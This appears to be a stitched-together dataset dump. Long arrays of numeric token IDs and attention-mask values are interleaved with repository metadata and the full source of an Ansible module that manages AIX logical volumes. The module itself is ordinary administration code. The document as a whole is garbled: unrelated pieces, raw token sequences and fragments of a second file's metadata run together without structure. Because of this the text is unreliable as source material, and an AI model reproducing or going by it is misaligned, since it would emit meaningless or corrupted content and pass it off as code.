1779, 1350, 63, 711, 26, 298, 9874, 2, 1779, 2053, 63, 711, 26, 13567, 14, 16, 14, 18, 14, 1789, 268, 446, 1369, 26, 298, 18486, 5343, 499, 2, 1779, 1350, 63, 711, 26, 13567, 14, 16, 14, 18, 14, 1400, 1779, 1350, 63, 719, 26, 298, 9874, 2, 1779, 2053, 63, 719, 26, 298, 1081, 2, 1779, 2053, 63, 711, 26, 13567, 14, 16, 14, 18, 14, 4893, 1779, 365, 63, 4296, 26, 298, 2052, 2, 1779, 4756, 63, 4806, 26, 298, 3910, 2, 1779, 4113, 26, 298, 32006, 2, 1779, 4592, 26, 298, 3306, 2, 199, 199, 2344, 199, 199, 893, 26, 272, 687, 1134, 86, 4091, 14, 3629, 14, 86, 2866, 14, 86, 17, 63, 21, 14, 9482, 14, 86, 4091, 14, 1200, 804, 492, 15967, 7567, 5065, 804, 272, 687, 1134, 86, 4091, 14, 3629, 14, 86, 2866, 14, 86, 17, 63, 21, 14, 9482, 14, 86, 4091, 14, 1200, 804, 492, 2165, 475, 4574, 804, 199, 2590, 3545, 26, 272, 327, 12252, 663, 282, 3305, 2348, 1325, 652, 911, 506, 15604, 1380, 5343, 367, 272, 327, 314, 23780, 402, 1134, 86, 4091, 334, 3239, 859, 63, 1208, 15, 86, 696, 14, 647, 680, 221, 961, 2951, 272, 327, 557, 28853, 6169, 12999, 376, 1919, 737, 8836, 272, 986, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 86, 696, 492, 812, 696, 547, 12, 373, 696, 63, 2094, 63, 1650, 12, 373, 696, 63, 2886, 421, 199, 5600, 63, 7459, 275, 788, 32006, 297, 283, 22086, 297, 283, 27745, 297, 283, 8632, 297, 283, 9874, 418, 199, 5600, 63, 13578, 63, 17434, 275, 788, 3185, 297, 283, 374, 63, 4296, 297, 283, 4296, 63, 4806, 297, 283, 1802, 297, 673, 283, 2614, 63, 711, 297, 283, 2614, 63, 719, 297, 283, 1365, 63, 711, 297, 283, 1365, 63, 719, 297, 673, 283, 3922, 418, 421, 199, 318, 4113, 63, 475, 63, 2960, 8, 3922, 304, 272, 372, 334, 3922, 14, 362, 63, 32006, 1062, 288, 4113, 14, 362, 63, 22086, 1062, 288, 4113, 14, 362, 63, 27745, 1062, 288, 4113, 14, 362, 63, 8632, 1062, 288, 4113, 14, 362, 63, 9874, 1012, 421, 199, 318, 4113, 63, 475, 63, 875, 8, 3922, 304, 272, 4113, 275, 4113, 63, 475, 63, 2960, 8, 3922, 9, 272, 340, 4113, 59, 16, 61, 365, 715, 26, 267, 372, 283, 32006, 7, 272, 916, 4113, 59, 17, 61, 365, 715, 26, 267, 372, 283, 22086, 7, 272, 916, 4113, 59, 18, 61, 365, 715, 26, 267, 372, 283, 27745, 7, 272, 916, 4113, 59, 19, 61, 365, 715, 26, 267, 372, 283, 8632, 7, 272, 916, 4113, 59, 20, 61, 365, 715, 26, 267, 372, 283, 9874, 7, 421, 199, 318, 4113, 63, 475, 63, 466, 8, 3922, 304, 272, 862, 26, 267, 19230, 275, 2165, 475, 4574, 804, 342, 267, 5371, 8, 16541, 12, 4113, 12, 715, 9, 267, 372, 19230, 272, 871, 4281, 26, 267, 746, 812, 696, 547, 480, 1918, 574, 315, 4113, 365, 440, 1686, 531, 421, 199, 318, 4107, 63, 8835, 63, 4423, 8, 8835, 63, 4423, 304, 272, 367, 2332, 315, 13908, 63, 4423, 26, 267, 367, 1022, 315, 2332, 14, 1612, 837, 288, 340, 1022, 440, 315, 22049, 63, 13578, 63, 17434, 26, 355, 746, 812, 696, 547, 3647, 83, 365, 440, 282, 1686, 790, 315, 13908, 4713, 12, 8749, 298, 3044, 298, 1074, 3432, 703, 2, 450, 1022, 12, 1686, 63, 1612, 29, 5600, 63, 13578, 63, 17434, 9, 398, 2332, 459, 2614, 63, 719, 418, 275, 620, 8, 2200, 14, 362, 360, 2614, 63, 719, 297, 283, 9874, 11103, 2325, 342, 267, 2332, 459, 2614, 63, 711, 418, 275, 2332, 14, 362, 360, 2614, 63, 711, 297, 283, 9874, 1959, 2325, 342, 267, 2332, 459, 1365, 63, 719, 418, 275, 620, 8, 2200, 14, 362, 360, 1365, 63, 719, 297, 283, 9874, 11103, 2325, 342, 267, 2332, 459, 1365, 63, 711, 418, 275, 2332, 14, 362, 360, 1365, 63, 711, 297, 283, 9874, 1959, 2325, 342, 267, 2332, 459, 3922, 418, 275, 2332, 14, 362, 360, 3922, 297, 283, 9874, 1959, 2325, 342, 267, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
kbrebanov/ansible
lib/ansible/modules/system/aix_lvol.py
73
10444
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2016, Alain Dejoux <adejoux@djouxtech.net> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = r''' --- author: - Alain Dejoux (@adejoux) module: aix_lvol short_description: Configure AIX LVM logical volumes description: - This module creates, removes or resizes AIX logical volumes. Inspired by lvol module. version_added: "2.4" options: vg: description: - The volume group this logical volume is part of. required: true lv: description: - The name of the logical volume. required: true lv_type: description: - The type of the logical volume. default: jfs2 size: description: - The size of the logical volume with one of the [MGT] units. copies: description: - The number of copies of the logical volume. Maximum copies are 3. default: '1' policy: choices: [ maximum, minimum ] default: maximum description: - Sets the interphysical volume allocation policy. C(maximum) allocates logical partitions across the maximum number of physical volumes. C(minimum) allocates logical partitions across the minimum number of physical volumes. state: choices: [ absent, present ] default: present description: - Control if the logical volume exists. If C(present) and the volume does not already exist then the C(size) option is required. opts: description: - Free-form options to be passed to the mklv command. pvs: description: - Comma separated list of physical volumes e.g. C(hdisk1,hdisk2). ''' EXAMPLES = r''' - name: Create a logical volume of 512M aix_lvol: vg: testvg lv: testlv size: 512M - name: Create a logical volume of 512M with disks hdisk1 and hdisk2 aix_lvol: vg: testvg lv: test2lv size: 512M pvs: hdisk1,hdisk2 - name: Create a logical volume of 512M mirrored aix_lvol: vg: testvg lv: test3lv size: 512M copies: 2 - name: Create a logical volume of 1G with a minimum placement policy aix_lvol: vg: rootvg lv: test4lv size: 1G policy: minimum - name: Create a logical volume with special options like mirror pool aix_lvol: vg: testvg lv: testlv size: 512M opts: -p copy1=poolA -p copy2=poolB - name: Extend the logical volume to 1200M aix_lvol: vg: testvg lv: test4lv size: 1200M - name: Remove the logical volume aix_lvol: vg: testvg lv: testlv state: absent ''' RETURN = r''' msg: type: string description: A friendly message describing the task result. returned: always sample: Logical volume testlv created. ''' import re from ansible.module_utils.basic import AnsibleModule def convert_size(module, size): unit = size[-1].upper() units = ['M', 'G', 'T'] try: multiplier = 1024 ** units.index(unit) except ValueError: module.fail_json(msg="No valid size unit specified.") return int(size[:-1]) * multiplier def round_ppsize(x, base=16): new_size = int(base * round(float(x) / base)) if new_size < x: new_size += base return new_size def parse_lv(data): name = None for line in data.splitlines(): match = re.search(r"LOGICAL VOLUME:\s+(\w+)\s+VOLUME GROUP:\s+(\w+)", line) if match is not None: name = match.group(1) vg = match.group(2) continue match = re.search(r"LPs:\s+(\d+).*PPs", line) if match is not None: lps = int(match.group(1)) continue match = re.search(r"PP SIZE:\s+(\d+)", line) if match is not None: pp_size = int(match.group(1)) continue match = re.search(r"INTER-POLICY:\s+(\w+)", line) if match is not None: policy = match.group(1) continue if not name: return None size = lps * pp_size return {'name': name, 'vg': vg, 'size': size, 'policy': policy} def parse_vg(data): for line in data.splitlines(): match = re.search(r"VOLUME GROUP:\s+(\w+)", line) if match is not None: name = match.group(1) continue match = re.search(r"TOTAL PP.*\((\d+)", line) if match is not None: size = int(match.group(1)) continue match = re.search(r"PP SIZE:\s+(\d+)", line) if match is not None: pp_size = int(match.group(1)) continue match = re.search(r"FREE PP.*\((\d+)", line) if match is not None: free = int(match.group(1)) continue return {'name': name, 'size': size, 'free': free, 'pp_size': pp_size} def main(): module = AnsibleModule( argument_spec=dict( vg=dict(type='str', required=True), lv=dict(type='str', required=True), lv_type=dict(type='str', default='jfs2'), size=dict(type='str'), opts=dict(type='str', default=''), copies=dict(type='str', default='1'), state=dict(type='str', default='present', choices=['absent', 'present']), policy=dict(type='str', default='maximum', choices=['maximum', 'minimum']), pvs=dict(type='list', default=list()) ), supports_check_mode=True, ) vg = module.params['vg'] lv = module.params['lv'] lv_type = module.params['lv_type'] size = module.params['size'] opts = module.params['opts'] copies = module.params['copies'] policy = module.params['policy'] state = module.params['state'] pvs = module.params['pvs'] pv_list = ' '.join(pvs) if policy == 'maximum': lv_policy = 'x' else: lv_policy = 'm' # Add echo command when running in check-mode if module.check_mode: test_opt = 'echo ' else: test_opt = '' # check if system commands are available lsvg_cmd = module.get_bin_path("lsvg", required=True) lslv_cmd = module.get_bin_path("lslv", required=True) # Get information on volume group requested rc, vg_info, err = module.run_command("%s %s" % (lsvg_cmd, vg)) if rc != 0: if state == 'absent': module.exit_json(changed=False, msg="Volume group %s does not exist." % vg) else: module.fail_json(msg="Volume group %s does not exist." % vg, rc=rc, out=vg_info, err=err) this_vg = parse_vg(vg_info) if size is not None: # Calculate pp size and round it up based on pp size. lv_size = round_ppsize(convert_size(module, size), base=this_vg['pp_size']) # Get information on logical volume requested rc, lv_info, err = module.run_command( "%s %s" % (lslv_cmd, lv)) if rc != 0: if state == 'absent': module.exit_json(changed=False, msg="Logical Volume %s does not exist." % lv) changed = False this_lv = parse_lv(lv_info) if state == 'present' and not size: if this_lv is None: module.fail_json(msg="No size given.") if this_lv is None: if state == 'present': if lv_size > this_vg['free']: module.fail_json(msg="Not enough free space in volume group %s: %s MB free." % (this_vg['name'], this_vg['free'])) # create LV mklv_cmd = module.get_bin_path("mklv", required=True) cmd = "%s %s -t %s -y %s -c %s -e %s %s %s %sM %s" % (test_opt, mklv_cmd, lv_type, lv, copies, lv_policy, opts, vg, lv_size, pv_list) rc, out, err = module.run_command(cmd) if rc == 0: module.exit_json(changed=True, msg="Logical volume %s created." % lv) else: module.fail_json(msg="Creating logical volume %s failed." % lv, rc=rc, out=out, err=err) else: if state == 'absent': # remove LV rmlv_cmd = module.get_bin_path("rmlv", required=True) rc, out, err = module.run_command("%s %s -f %s" % (test_opt, rmlv_cmd, this_lv['name'])) if rc == 0: module.exit_json(changed=True, msg="Logical volume %s deleted." % lv) else: module.fail_json(msg="Failed to remove logical volume %s." % lv, rc=rc, out=out, err=err) else: if this_lv['policy'] != policy: # change lv allocation policy chlv_cmd = module.get_bin_path("chlv", required=True) rc, out, err = module.run_command("%s %s -e %s %s" % (test_opt, chlv_cmd, lv_policy, this_lv['name'])) if rc == 0: module.exit_json(changed=True, msg="Logical volume %s policy changed: %s." % (lv, policy)) else: module.fail_json(msg="Failed to change logical volume %s policy." % lv, rc=rc, out=out, err=err) if vg != this_lv['vg']: module.fail_json(msg="Logical volume %s already exist in volume group %s" % (lv, this_lv['vg'])) # from here the last remaining action is to resize it, if no size parameter is passed we do nothing. if not size: module.exit_json(changed=False, msg="Logical volume %s already exist." % (lv)) # resize LV based on absolute values if int(lv_size) > this_lv['size']: extendlv_cmd = module.get_bin_path("extendlv", required=True) cmd = "%s %s %s %sM" % (test_opt, extendlv_cmd, lv, lv_size - this_lv['size']) rc, out, err = module.run_command(cmd) if rc == 0: module.exit_json(changed=True, msg="Logical volume %s size extended to %sMB." % (lv, lv_size)) else: module.fail_json(msg="Unable to resize %s to %sMB." % (lv, lv_size), rc=rc, out=out, err=err) elif lv_size < this_lv['size']: module.fail_json(msg="No shrinking of Logical Volume %s permitted. Current size: %s MB" % (lv, this_lv['size'])) else: module.exit_json(changed=False, msg="Logical volume %s size is already %sMB." % (lv, lv_size)) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 7800, 12, 437, 3993, 1487, 743, 2521, 665, 9587, 743, 2521, 32, 68, 743, 2521, 15970, 14, 846, 30, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 199, 199, 8948, 275, 519, 2344, 199, 2595, 199, 2502, 26, 272, 446, 437, 3993, 1487, 743, 2521, 8593, 9587, 743, 2521, 9, 199, 578, 26, 282, 1148, 63, 76, 5650, 199, 3612, 63, 1802, 26, 15453, 437, 3867, 491, 6849, 11461, 12158, 199, 1802, 26, 523, 446, 961, 859, 8491, 12, 14185, 503, 295, 7723, 437, 3867, 11461, 12158, 14, 12062, 1038, 581, 701, 634, 5650, 859, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 20, 2, 199, 1419, 26, 523, 23842, 26, 272, 1369, 26, 272, 446, 710, 3301, 1572, 642, 11461, 3301, 365, 1777, 402, 14, 272, 1415, 26, 2549, 523, 20604, 26, 272, 1369, 26, 272, 446, 710, 536, 402, 314, 11461, 3301, 14, 272, 1415, 26, 2549, 523, 20604, 63, 466, 26, 272, 1369, 26, 272, 446, 710, 730, 402, 314, 11461, 3301, 14, 272, 849, 26, 1335, 2319, 18, 523, 1568, 26, 272, 1369, 26, 272, 446, 710, 1568, 402, 314, 11461, 3301, 543, 1373, 402, 314, 359, 45, 8391, 61, 6204, 14, 523, 6866, 26, 272, 1369, 26, 272, 446, 710, 1329, 402, 6866, 402, 314, 11461, 3301, 14, 14212, 6866, 787, 650, 14, 272, 849, 26, 283, 17, 7, 523, 4592, 26, 272, 3415, 26, 359, 5696, 12, 7481, 1622, 272, 849, 26, 5696, 272, 1369, 26, 272, 446, 10729, 314, 1640, 15020, 3301, 18723, 4592, 14, 445, 8, 11555, 9, 18310, 83, 11461, 16394, 9371, 314, 5696, 1329, 402, 14095, 12158, 14, 489, 445, 8, 10700, 9, 18310, 83, 11461, 16394, 9371, 314, 7481, 1329, 402, 14095, 12158, 14, 523, 1174, 26, 272, 3415, 26, 359, 9552, 12, 3451, 1622, 272, 849, 26, 3451, 272, 1369, 26, 272, 446, 8612, 340, 314, 11461, 3301, 3495, 14, 982, 445, 8, 1881, 9, 436, 314, 489, 3301, 1630, 440, 2575, 2187, 2066, 314, 445, 8, 890, 9, 945, 365, 1415, 14, 523, 3999, 26, 272, 1369, 26, 272, 446, 2868, 13, 964, 1511, 370, 506, 3032, 370, 314, 9199, 6371, 1414, 14, 523, 299, 3122, 26, 272, 1369, 26, 272, 446, 5429, 391, 11673, 769, 402, 14095, 12158, 325, 14, 71, 14, 445, 8, 72, 4032, 17, 12, 72, 4032, 18, 680, 199, 2344, 199, 199, 8918, 275, 519, 2344, 199, 13, 536, 26, 2790, 282, 11461, 3301, 402, 10574, 45, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 6371, 272, 1568, 26, 10574, 45, 199, 199, 13, 536, 26, 2790, 282, 11461, 3301, 402, 10574, 45, 543, 17602, 394, 4032, 17, 436, 394, 4032, 18, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 18, 6371, 272, 1568, 26, 10574, 45, 272, 299, 3122, 26, 394, 4032, 17, 12, 72, 4032, 18, 199, 199, 13, 536, 26, 2790, 282, 11461, 3301, 402, 10574, 45, 333, 27533, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 19, 6371, 272, 1568, 26, 10574, 45, 272, 6866, 26, 499, 199, 199, 13, 536, 26, 2790, 282, 11461, 3301, 402, 413, 39, 543, 282, 7481, 22286, 4592, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 1738, 10929, 272, 20604, 26, 511, 20, 6371, 272, 1568, 26, 413, 39, 272, 4592, 26, 7481, 199, 199, 13, 536, 26, 2790, 282, 11461, 3301, 543, 4539, 1511, 2839, 15216, 4203, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 6371, 272, 1568, 26, 10574, 45, 272, 3999, 26, 446, 80, 1331, 17, 29, 2293, 33, 446, 80, 1331, 18, 29, 2293, 34, 199, 199, 13, 536, 26, 1316, 7169, 314, 11461, 3301, 370, 413, 1840, 45, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 20, 6371, 272, 1568, 26, 413, 1840, 45, 199, 199, 13, 536, 26, 5852, 314, 11461, 3301, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 6371, 272, 1174, 26, 9552, 199, 2344, 199, 199, 9677, 275, 519, 2344, 199, 1328, 26, 523, 730, 26, 1059, 523, 1369, 26, 437, 21428, 1245, 13660, 314, 2120, 754, 14, 523, 2138, 26, 3544, 523, 2690, 26, 26303, 3301, 511, 6371, 2737, 14, 199, 2344, 199, 199, 646, 295, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 421, 199, 318, 3957, 63, 890, 8, 578, 12, 1568, 304, 272, 4137, 275, 1568, 1988, 17, 1055, 4142, 342, 272, 6204, 275, 788, 45, 297, 283, 39, 297, 283, 52, 418, 272, 862, 26, 267, 22215, 275, 6619, 1011, 6204, 14, 1080, 8, 3248, 9, 272, 871, 1722, 26, 267, 859, 14, 1633, 63, 1001, 8, 1328, 628, 1944, 1686, 1568, 4137, 2013, 2685, 339, 372, 1109, 8, 890, 4439, 17, 566, 627, 22215, 421, 199, 318, 6168, 63, 802, 890, 8, 88, 12, 1300, 29, 975, 304, 272, 892, 63, 890, 275, 1109, 8, 1095, 627, 6168, 8, 1609, 8, 88, 9, 1182, 1300, 430, 272, 340, 892, 63, 890, 665, 671, 26, 267, 892, 63, 890, 847, 1300, 272, 372, 892, 63, 890, 421, 199, 318, 2198, 63, 6371, 8, 576, 304, 272, 536, 275, 488, 339, 367, 1004, 315, 666, 14, 7644, 837, 267, 1336, 275, 295, 14, 1733, 8, 82, 2, 4947, 5974, 812, 2228, 13847, 3427, 83, 20900, 87, 13439, 83, 11, 16689, 15443, 3427, 83, 20900, 87, 11, 4186, 1004 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 334, 67, 9, 7800, 12, 437, 3993, 1487, 743, 2521, 665, 9587, 743, 2521, 32, 68, 743, 2521, 15970, 14, 846, 30, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 199, 199, 8948, 275, 519, 2344, 199, 2595, 199, 2502, 26, 272, 446, 437, 3993, 1487, 743, 2521, 8593, 9587, 743, 2521, 9, 199, 578, 26, 282, 1148, 63, 76, 5650, 199, 3612, 63, 1802, 26, 15453, 437, 3867, 491, 6849, 11461, 12158, 199, 1802, 26, 523, 446, 961, 859, 8491, 12, 14185, 503, 295, 7723, 437, 3867, 11461, 12158, 14, 12062, 1038, 581, 701, 634, 5650, 859, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 20, 2, 199, 1419, 26, 523, 23842, 26, 272, 1369, 26, 272, 446, 710, 3301, 1572, 642, 11461, 3301, 365, 1777, 402, 14, 272, 1415, 26, 2549, 523, 20604, 26, 272, 1369, 26, 272, 446, 710, 536, 402, 314, 11461, 3301, 14, 272, 1415, 26, 2549, 523, 20604, 63, 466, 26, 272, 1369, 26, 272, 446, 710, 730, 402, 314, 11461, 3301, 14, 272, 849, 26, 1335, 2319, 18, 523, 1568, 26, 272, 1369, 26, 272, 446, 710, 1568, 402, 314, 11461, 3301, 543, 1373, 402, 314, 359, 45, 8391, 61, 6204, 14, 523, 6866, 26, 272, 1369, 26, 272, 446, 710, 1329, 402, 6866, 402, 314, 11461, 3301, 14, 14212, 6866, 787, 650, 14, 272, 849, 26, 283, 17, 7, 523, 4592, 26, 272, 3415, 26, 359, 5696, 12, 7481, 1622, 272, 849, 26, 5696, 272, 1369, 26, 272, 446, 10729, 314, 1640, 15020, 3301, 18723, 4592, 14, 445, 8, 11555, 9, 18310, 83, 11461, 16394, 9371, 314, 5696, 1329, 402, 14095, 12158, 14, 489, 445, 8, 10700, 9, 18310, 83, 11461, 16394, 9371, 314, 7481, 1329, 402, 14095, 12158, 14, 523, 1174, 26, 272, 3415, 26, 359, 9552, 12, 3451, 1622, 272, 849, 26, 3451, 272, 1369, 26, 272, 446, 8612, 340, 314, 11461, 3301, 3495, 14, 982, 445, 8, 1881, 9, 436, 314, 489, 3301, 1630, 440, 2575, 2187, 2066, 314, 445, 8, 890, 9, 945, 365, 1415, 14, 523, 3999, 26, 272, 1369, 26, 272, 446, 2868, 13, 964, 1511, 370, 506, 3032, 370, 314, 9199, 6371, 1414, 14, 523, 299, 3122, 26, 272, 1369, 26, 272, 446, 5429, 391, 11673, 769, 402, 14095, 12158, 325, 14, 71, 14, 445, 8, 72, 4032, 17, 12, 72, 4032, 18, 680, 199, 2344, 199, 199, 8918, 275, 519, 2344, 199, 13, 536, 26, 2790, 282, 11461, 3301, 402, 10574, 45, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 6371, 272, 1568, 26, 10574, 45, 199, 199, 13, 536, 26, 2790, 282, 11461, 3301, 402, 10574, 45, 543, 17602, 394, 4032, 17, 436, 394, 4032, 18, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 18, 6371, 272, 1568, 26, 10574, 45, 272, 299, 3122, 26, 394, 4032, 17, 12, 72, 4032, 18, 199, 199, 13, 536, 26, 2790, 282, 11461, 3301, 402, 10574, 45, 333, 27533, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 19, 6371, 272, 1568, 26, 10574, 45, 272, 6866, 26, 499, 199, 199, 13, 536, 26, 2790, 282, 11461, 3301, 402, 413, 39, 543, 282, 7481, 22286, 4592, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 1738, 10929, 272, 20604, 26, 511, 20, 6371, 272, 1568, 26, 413, 39, 272, 4592, 26, 7481, 199, 199, 13, 536, 26, 2790, 282, 11461, 3301, 543, 4539, 1511, 2839, 15216, 4203, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 6371, 272, 1568, 26, 10574, 45, 272, 3999, 26, 446, 80, 1331, 17, 29, 2293, 33, 446, 80, 1331, 18, 29, 2293, 34, 199, 199, 13, 536, 26, 1316, 7169, 314, 11461, 3301, 370, 413, 1840, 45, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 20, 6371, 272, 1568, 26, 413, 1840, 45, 199, 199, 13, 536, 26, 5852, 314, 11461, 3301, 523, 282, 1148, 63, 76, 5650, 26, 272, 23842, 26, 511, 10929, 272, 20604, 26, 511, 6371, 272, 1174, 26, 9552, 199, 2344, 199, 199, 9677, 275, 519, 2344, 199, 1328, 26, 523, 730, 26, 1059, 523, 1369, 26, 437, 21428, 1245, 13660, 314, 2120, 754, 14, 523, 2138, 26, 3544, 523, 2690, 26, 26303, 3301, 511, 6371, 2737, 14, 199, 2344, 199, 199, 646, 295, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 421, 199, 318, 3957, 63, 890, 8, 578, 12, 1568, 304, 272, 4137, 275, 1568, 1988, 17, 1055, 4142, 342, 272, 6204, 275, 788, 45, 297, 283, 39, 297, 283, 52, 418, 272, 862, 26, 267, 22215, 275, 6619, 1011, 6204, 14, 1080, 8, 3248, 9, 272, 871, 1722, 26, 267, 859, 14, 1633, 63, 1001, 8, 1328, 628, 1944, 1686, 1568, 4137, 2013, 2685, 339, 372, 1109, 8, 890, 4439, 17, 566, 627, 22215, 421, 199, 318, 6168, 63, 802, 890, 8, 88, 12, 1300, 29, 975, 304, 272, 892, 63, 890, 275, 1109, 8, 1095, 627, 6168, 8, 1609, 8, 88, 9, 1182, 1300, 430, 272, 340, 892, 63, 890, 665, 671, 26, 267, 892, 63, 890, 847, 1300, 272, 372, 892, 63, 890, 421, 199, 318, 2198, 63, 6371, 8, 576, 304, 272, 536, 275, 488, 339, 367, 1004, 315, 666, 14, 7644, 837, 267, 1336, 275, 295, 14, 1733, 8, 82, 2, 4947, 5974, 812, 2228, 13847, 3427, 83, 20900, 87, 13439, 83, 11, 16689, 15443, 3427, 83, 20900, 87, 11, 4186, 1004, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
wilvk/ansible
lib/ansible/modules/cloud/amazon/ec2_vol_facts.py
20
3798
